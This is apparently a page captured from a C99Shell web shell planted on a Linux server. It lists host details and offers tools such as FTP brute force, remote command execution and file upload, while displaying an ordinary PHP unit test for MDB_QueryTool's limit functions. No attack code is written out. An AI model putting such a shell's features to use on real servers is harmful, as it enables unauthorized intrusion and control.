!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/MDB_QueryTool/tests/simpletest_tests/   drwxr-xr-x
Free 9.91 GB of 61.93 GB (16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mdb_querytool_testLimit.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: mdb_querytool_testLimit.php 180765 2005-02-25 14:15:59Z quipo $

require_once dirname(__FILE__).'/mdb_querytool_test_base.php';

class 
TestOfMDB_QueryTool_Limit extends TestOfMDB_QueryTool
{
    function 
TestOfMDB_QueryTool_Limit($name __CLASS__) {
        
$this->UnitTestCase($name);
    }
    
// test if setLimit works
    
function test_setLimit() {
        
$this->qt =& new MDB_QT(TABLE_USER);
        
$this->qt->setLimit(010);
        
$this->assertEqual(array(010), $this->qt->getLimit());
    }

    
// test if setLimit works
    
function test_setLimit1() {
        
$this->qt =& new MDB_QT(TABLE_USER);

        
$this->qt->add($this->_getSampleData(1));
        
$this->qt->add($this->_getSampleData(2));
        
$this->qt->add($this->_getSampleData(3));
        
$this->qt->add($this->_getSampleData(4));

        
$this->qt->setLimit(02);
        
$this->assertEqual(2sizeof($this->qt->getAll()));

        
$this->qt->setLimit(03);
        
$this->assertEqual(3sizeof($this->qt->getAll()));
    }

    
// test if getAll works
    // setLimit should have no effect when parameters are given to getAll()
    
function test_getAll()
    {
        
$this->qt =& new MDB_QT(TABLE_USER);
        
$this->qt->setLimit(010);
        
        
$this->qt->add($this->_getSampleData(1));
        
$this->qt->add($this->_getSampleData(2));
        
$this->qt->add($this->_getSampleData(3));
        
$this->qt->add($this->_getSampleData(4));
        
        
$this->assertEqual(1sizeof($this->qt->getAll(01)));
        
$this->qt->setLimit(03);
        
$this->assertEqual(2sizeof($this->qt->getAll(02)));

        
$this->assertEqual(3sizeof($this->qt->getAll()));
    }

    
// test if getAll works
    // setLimit should have no effect when parameters are given to getAll()
    
function test_getCol()
    {
        
$this->qt =& new MDB_QT(TABLE_USER);
        
$this->qt->setLimit(010);
        
        
$this->qt->add($this->_getSampleData(1));
        
$this->qt->add($this->_getSampleData(2));
        
$this->qt->add($this->_getSampleData(3));
        
$this->qt->add($this->_getSampleData(4));
        
        
$this->assertEqual(1sizeof($this->qt->getCol('id'01)));
        
$this->qt->setLimit(03);
        
$this->assertEqual(2sizeof($this->qt->getCol('id'02)));

        
$this->assertEqual(3sizeof($this->qt->getCol('id')));
    }
}

if (!
defined('TEST_RUNNING')) {
    
define('TEST_RUNNING'true);
    
$test = &new TestOfMDB_QueryTool_Limit();
    
$test->run(new HtmlReporter());
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.079 ]--